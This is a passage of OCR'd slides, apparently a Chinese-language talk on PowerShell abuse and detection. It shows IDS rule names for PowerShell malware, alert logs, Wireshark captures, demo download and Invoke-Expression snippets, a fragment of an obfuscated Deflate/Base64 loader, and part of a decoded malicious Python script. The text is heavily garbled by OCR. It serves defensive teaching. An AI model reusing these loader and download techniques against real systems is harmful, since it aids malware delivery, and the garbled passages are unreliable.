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Destination Dst port Protocol Length  Info
ze 12d I . - 5727 TCP 1518 80 - 5727 ..

Yo Time Soure S port

1 2019-12-18 11:44:59.230937 134.289.97.153

1575967555 peap - [m] X

M Vireshark - Follow TCP Stream (i

HTTP/1.1 28@ OK
Server: nginx/1.16.1
Date: Tue, 10 Dec 2819 1
Content-Type: text/pld
Content-Length: 2467 2

Last-Modified: Thu, ©4
Connection: keep-alivg
ETag: "5dc3c5¢5-9a3™
Accept-Ranges: bytes
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| L, powershell
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¥ Category (1 matched rule)

v file-office (1 matched rule)

(1:43179) FILE-OFFICE Powerpoint mouseover powershell malware download attermpt

y

(1:43180) FILE-OFFICE Powerpoint mouseover powershell malware download attermpt
v file-other (1 matched rule)
(1:48062) FILE-OTHER Microsoft Powershell XML instantiation constrained language mode bypass attempt‘
(1:48063) FILE-OTHER Microsoft Powershell XML instantiation constrained language mode bypass attempt__|
(1:52063) FILE-OTHER PowerShell Empire python launcher download attermpt
(1:52064) FILE-OTHER PowerShell Empire python launcher download attempt
v indicator-compromise (1 matched rule)
(1:37243) INDICATOR-COMPROMISE download of a Office document with embedded PowerShell\
(1:37244) INDICATOR-COMPROMISE download of a Office document with embedded PowerSheII_/
(1:45136) INDICATOR-COMPROMISE Metasploit PowerShell CLI Download and Run atternpt
(1:45137) INDICATOR-COMPROMISE Metasploit run hidden powershell attempt
(1:47400) INDICATOR-COMPROMISE Microsoft powershell.exe outbound shell attermnpt
(1:32116) INDICATOR-COMPROMISE Win.Downloader.PowMet powershell script download attermpt
(1:52118) INDICATOR-COMPROMISE Win.Downloader.PowMet powershell script download attempt ]

v indicator-shellcode (1 matched rule)

(1:30392) INDICATOR-SHELLCODE Metasploit payload crmd_windows_reverse_powershell >

» malware-cnc (1 matched rule)

i

(1:38259) MALWARE-CNC PowerShell Empire variant outbound connection
(1:38260) MALWARE-CNC PowerShell Empire variant outbound connection
(1:38261) MALWARE-CNC PowerShell Empire variant outbound connection
(1:44559) MALWARE-CNC Word.Trojan.Emotet obfuscated powershell
(1:44560) MALWARE-CNC Word.Trojan.Emotet obfuscated powershel
(1:44561) MALWARE-CNC PowerShell Empire variant outbound connection
(1:44562) MALWARE-CNC PowerShell Empire variant outbound connection
(1:44563) MALWARE-CNC PowerShell Empire variant outbound connection
(1:44564) MALWARE-CNC PowerShell Empire variant outbound connection
(1:45352) MALWARE-CNC PowerShell Empire HTTP listener response
(1:46202) MALWARE-CNC Win.DownloaderWannaminer malicious Powershell download attempt
(1:46203) MALWARE-CNC Win.Downloader.Wannamine malicious Powershell download attempt
(1:47076) MALWARE-CNC Powershell PRE backdoor initial outbound communication atternp
(1:52255) MALWARE-CNC Win.Trojan.PowerShell variant outbound connection

v malware-other (1 matched rule)
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(1:47866) MALWARE-OTHER Html.Dropper.Xbash variant obfuscated powershell invocation
(1:47867) MALWARE-OTHER Html.Dropper.Xbash variant obfuscated powershell invocation
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Decode from Base64 format
Simply use the form below

¥

—#Hep
— 3¢ p

i

a3
(ﬂ.‘\

)
L)
Y Ty TN

aW1wh3JOIHN5CztpbXBvenQgemUsIHN1YnByb2NIc3M7Y 21kiD0ginBzICIZBIGdyZXAGTGI0dGXI FHua
XRjaC

Y
>

— 4 BB e F B RMEET G )

e
k)

>

— e N F e g TMaT (htpthe e M)

import sys:import re, subprocess.cmd = "ps -ef | grep Little Snitch
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(1:49569) MALWARE-OTHER PowerShell invocation with ExecutionPolicy Bypass attempt
(1:51118) MALWARE-OTHER Download of malicious PowerShell script
(1:52438) MALWARE-OTHER Win.Trojan.PowershellAgent variant download attempt

(1:52439) MALWARE-OTHER Win.Trojan.PowershellAgent variant download attermpt
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f BFER S b 15 $ BEEft ¢ HELHESEN S DS . RERMER s REEL S ¢
1211 9:05:46 MALWARE-OTHER Download of malicious PowerShell script 134 20997 153 80 140. 52456 Sourcefire Sourcefire Management Console eStreamer N
1211 9:04:58 MALWARE-OTHER Download of malicious PowerShell script 134 20997 153 80 120. L 6189 iy Sourcefire Sourcefire Management Console eStreamer
1211 9:00:11 MALWARE-OTHER Download of malicious PowerShell script 134 20997 153 80 140. 49377 Sourcefire Sourcefire Management Console eStreamer
12M119:00:03  MALWARE-OTHER Download of malicious PowerShell script 134 .209.97 153 80 120. 5 56303 T Sourcefire Sourcefire Management Console eStreamer
1211 9:00:00 MALWARE-OTHER Download of malicious Power3hell script 134 20997 153 a0 120. . 63615 iy Sourcefire Sourcefire Management Console eStreamer
12M18:40:04 MALWARE-OTHER Download of malicious PowerShell script 2710270147 80 163 64613 Sourcefire Sourcefire Management Console eStreamer
12M1 8:2555 MALWARE-OTHER Download of malicious PowerShell script 134 20987 153 80 140. R2384 Sourcefire Sourcefire Management Console eStreamer
1211 82511 MALWARE-OTHER Download of malicious Power3hell script 134 209 87 153 80 203 64920 Sourcefire Sourcefire Management Console eStreamer
1211 8:24:.58 MALWARE-OTHER Download of malicious PowerShell script 13420987 153 a0 1z0. . g17e Sourcefire Sourcefire Management Console eStreamer
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2 Windows PowerShell
PS
PS
PS

generate

ort

€ Example

SCommand = 'ipconfig'
Invoke-Expression SCommand

PS E:\PythonCode>
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-0y Cl StreanReader (B(New-Object [0.Compression.DeflateStrean (E{New-Object [0.MemoryStrean
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DEMOL1 : 7 i HTTP Requesting

® =t DEMO7r d=PowerShell® r2 ¥ 7t 3 diig s enis &

€ Example

SISON = @'
{"Name":"TestforPowerShell","E-mail":"TestforPowerShell@gmail.com","message":"PowerShell Test in http Requesting"}

'@
Invoke-WebRequest -UseBasicParsing ({£ZIP) -ContentType "application/json" -Method POST -Body SJSON

'm powershell_test.ps1 - ILBE
EEP S|EE) E=(0) HeEN)  EEE
BISON = @'

{;Hame”:”TestfarPawerShell”.”E-mail”:”TestforPawerShellEzmai1.com“.“messaze“:“PowerShell Teat in http Kequesting"}
(G

[nvoke-WebRequest -UseBasicParsing 140-116 ContentType "application/json" -Method POST -Body BJSON

VoL HHBIP

W1 MAT 100%  Windows (CRLF) UTF-8




#E3E (not broadcast and not multicast and not arp)
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Am @ [ MREQes=F LEEaqaanr

.lt:pmameqS [X[=+] - | Expressions* | +
o Tirme Souree Sre port Destination Dt port Frotocal Length  Info

475 2019-12-18 02:01:12.661226 192 50880 148 L 116 80 TCP 66 50880 -+ 80 [SYN] Seq=@ W..
477 2019-12-18 02:01:12.663406 140 80 192 54 50880 TCP 66 80 - 50880 [SYN_ACK] S
478 2019-12-18 02:01:12.663515 192 50880 140 L 116 80 TCP 54 50880 - 80 [ACK| Wireshark - Follow TCP Stream (tcp.stream eq 3) - Z #8838 (not broadcast and not multicast and not arp)
479 2019-12-18 02:01:12.665204 192 50880 140 116 80 TCP 287 50880 + 80 [PSH
481 2019-12-18 02:01:12.667249 140 80 192 54 50880 TCP 280 80 + 50880 [PSH [pocr / rTp/1.1
e e come 1. Tt o4 somob - 80 (acd] |User-Agent: Mozilla/5.@ (Windows NT; Windows NT 10.0; zh-TH) WindowsPowerShell/S.1.18362.145
484 2019-12-18 92:01:12.667443 192 50880 140 116 80 TCP 54 50880 - 80 [Ack| | Content-Type: application/json

487 2019-12-18 02:01:12.673245 192 50880 140 116 80 HTTP 168 post / Hrre/1.1| |Host: 140 116

488 2019-12-18 02:01:12.673335 192 50880 140 116 80 TCP 54 50880 + 80 [FIN| |Content-Length: 114
490 2019-12-18 02:01:12.675212 140 80 192 | 54 50880 TCP 60 80 - 50880 [ACK| | Expect: 100-continue
Connection: Keep-Alive

» Frame 49@: 6@ bytes on wire (480 bits), 6@ bytes captured (480 bits) on interface @ HTTP/1.1 387 TemPof‘af‘i Redirect
» Ethernet II, Src: JuniperN_ba:49:0b (84:18:88:ba:49:0b), Dst: Dell_d9:79:b8 (48:4d:7e:d9:79:b8) Location:
. Internet Protocol Version 4, Src: 14016, pst: 192.168.1.54 Content-Type: text/html
0000 48 4d 7e d9 79 b8 84 18 88 ba 49 Ob 08 00 45 00 HM~.y- .. - I.- -E. Cache-Control: private
0010 @0 28 7f Be 40 00 fa 06 aa fe 8c 70 08 74 c@ a8 (- @ - ---p-t-- Connection: close
0020 @1 36 @@ 50 c6 c@ d3 e2 11 3e c¢5 ce e5 ae 5010 6P > 0P
0030 B2 @@ ff 62 60 @2 02 66 00 02 e° @9 LA <head><body> This object may be found <a HREF= ">here</a> </

<W|estrorr‘ower5hell","E—mail":"Test‘For‘Power‘Shell@gmail.com","message B Powew

Mrequasting”}

2 glvenr phtish | server phnsl 2 rumi)

Entire conversation (573 bytes) v Show and save datas [ASCIL | Stream [3 (2]
Find: | | [ Finanext|
Filler Out ThisSteam| | Print | | Swvews || Baek || EAEA | med |

O 7 wirshark 720K _20191218020107_s02368 prapng || Packets: 1238 - Displayed: 11 (0.9%) - Dropped: 0 {0.0%) || Profile: Default
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€ Example
Surl = "{£E[E H #Jurl"

Soutput = "powershell_download.jpg"
Invoke-WebRequest -Uri Surl -OutFile Soutput

wershel_download.ps1 - =S

|EE BIO) BNV =H

Fovtput = "powershell download. jpe"
Invoke-TebRequezt -Uri $url -OutFile Foutput

45 E17 100% Windows (CRLF)  UTF-8
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[l |tcp.s1xeam eq 18

No. Tirme

363 2019-12-16 12:85:86.251855
364 2019-12-16 12:05:06.258584

Soume Sre port Destination Dt port Protocol Length  Info

54 53264 -» 443 [ACK] S..
223 Client Hello

443 TCP
443 TLSvl.2

192 K 53264 148
192 K 53264 148

@8 | | . .U....Taiwanl.8
@88 | |..U....Taipeil#8!..U.

a4 | |, =l

Frame 3| |. *_H..
Etherne |««..- Bol.@ LUl L. TWl.e. ..U
Interne
1906040748167
84 | |21072615595970..1.8 ..U....TW1.0
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ki) 426 server phits) 3 rumis)

Entire conversation (576 kB)

Stream

Show and save dataas | ASCII

Find: |

| | Find Next

2 Windows PowerShell
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€ Example

SText = ((ERHVIE <) #A0PIE [N E752
SBytes = [System.Text.Encoding]::Unicode.GetBytes(SText)
SEncodedText = [Convert]::ToBase64String(SBytes)

SEncodedText #ﬁgf A G 7S eT i K

SDecodedText = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String(SEncodedText))
SDecodedText #ﬁgf ARGk o gk g F A $Text
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cat dir mount i
cd echo move rondir
chdir erase popd sleep
clear h ps sort
cls history pushd tee
copy kill pwd type
del Ip r write
diff s ren

B ¥ %R : https://www.netadmin.com.tw/netadmin/zh-tw/feature/9F93467B508743DAAE39F30BFF2E3178?page=3



https://www.netadmin.com.tw/netadmin/zh-tw/feature/9F93467B508743DAAE39F30BFF2E3178?page=3
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| PowerShell cmd
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#1. General

#2. Windows Version

Powershell

Powershell is one of the windows
configuration powerful tool which have
the ability to control command line
interface (CLI) of Linux platform which
provides environment like Linus and as
well as clickable default characteristics
of Windows. It also provide great utility
to managing effectively of windows
server in any case of deployment
virtually. Powershell are planning to
provide one of the great utility for any
Administrator user of managing both
the workloads windows server and
Linux server where production
application basically hosted.

Bash is mainly accepted for any of the
developer on using as environment of
deployment any kind of application. It
has been started only because of
developing and making more
powerful any kind of Linux command
line interface (CLI) based
communication or interaction
between operating system and end
user. As of now, bash is given big
utility of addition the same with
windows which given environment to
the specific engineer or infrastructure
engineer or developer for deploying
their corresponding codebase or
configuration (which comfortably
working on LinuX) on windows
environment easily.

Powershell

Powershell is kind of windows old
product and running for long time of
providing windows command prompt
version where all the windows shell
commands are working. Powershell
can be run in any of the windows
version till windows 97 to windows 10.
Till analysis going on for coming with
more powerful powershell for adjusting
bash utility mainly looking for
developer expectation.

Bash is mainly prepared for Unix and
linux, it is also using for Unix or Linux
from first day onwards. But in case of
Windows it is restricted as of now,
only Windows 10 insider builds
supports the same.

B & % & : https://www.educba.com/powershell-vs-bash/



https://www.educba.com/powershell-vs-bash/




= %

A F #-powershell - https://zh.wikipedia.org/wiki/Windows PowerShell

=

2. g * -Windows PowerShell B &£ 5 ¥ 45 31 : https://www.netadmin.com.tw/netadmin/zh-
tw/feature/9F93467B508743DAAE39F30BFF2E3178

EDUCBA-Difference Between PowerShell vs Bash : https://www.educba.com/powershell-vs-bash/

-7 -PowerShell 5 cmd 3 # = 7 I 7 : https://www.zhihu.com/question/22611859

T3 ks ik F 3t o https://gs.statcounter.com/os-market-share/desktop/worldwide/#monthly-201911-201911-bar

TACERT % ] &4 47 : https://portal.cert.tanet.edu.tw/docs/pdf/2019042501043232566847961761843.pdf

DEMO1#g ;¢ % & : https://poychang.github.io/note-powershell/

DEMO2#g ;¢ % ik : https://blog.jourdant.me/post/3-ways-to-download-files-with-powershell
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DEMO3#% ;¢ % & : https://adsecurity.org/?p=478

10.  Invoke-Expressionziif? @ https://adamtheautomator.com/invoke-expression/

11. féﬁ;ﬁ#ﬁ %5 https://www.anguanke.com/post/id/168210#h2-25



https://zh.wikipedia.org/wiki/Windows_PowerShell
https://www.netadmin.com.tw/netadmin/zh-tw/feature/9F93467B508743DAAE39F30BFF2E3178
https://www.educba.com/powershell-vs-bash/
https://www.zhihu.com/question/22611859
https://gs.statcounter.com/os-market-share/desktop/worldwide/#monthly-201911-201911-bar
https://portal.cert.tanet.edu.tw/docs/pdf/2019042501043232566847961761843.pdf
https://poychang.github.io/note-powershell/
https://blog.jourdant.me/post/3-ways-to-download-files-with-powershell
https://adsecurity.org/?p=478
https://adamtheautomator.com/invoke-expression/
https://www.anquanke.com/post/id/168210#h2-25
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1. Invoke-Expression : https://forsenergy.com/zh-tw/windowspowershellhelp/html/04b8e90a-

7d28-4ab2-ad13-b0316¢c231c77.htm

2. StreamReader : https://docs.microsoft.com/zh-
tw/dotnet/api/system.io.streamreader?view=netframework-4.8

3. 10.Compression.DeflateStream : https://docs.microsoft.com/zh-
tw/dotnet/api/system.io.compression.deflatestream?view=netframework-4.8

4. MemoryStream : https://docs.microsoft.com/zh-
tw/dotnet/api/system.io0.memorystream?view=netframework-4.8

5.  Convert.FromBase64String(String) : https://docs.microsoft.com/zh-
tw/dotnet/api/system.convert.frombase64string?view=netframework-4.8



https://forsenergy.com/zh-tw/windowspowershellhelp/html/04b8e90a-7d28-4ab2-ad13-b0316c231c77.htm
https://docs.microsoft.com/zh-tw/dotnet/api/system.io.streamreader?view=netframework-4.8
https://docs.microsoft.com/zh-tw/dotnet/api/system.io.compression.deflatestream?view=netframework-4.8
https://docs.microsoft.com/zh-tw/dotnet/api/system.io.memorystream?view=netframework-4.8
https://docs.microsoft.com/zh-tw/dotnet/api/system.convert.frombase64string?view=netframework-4.8

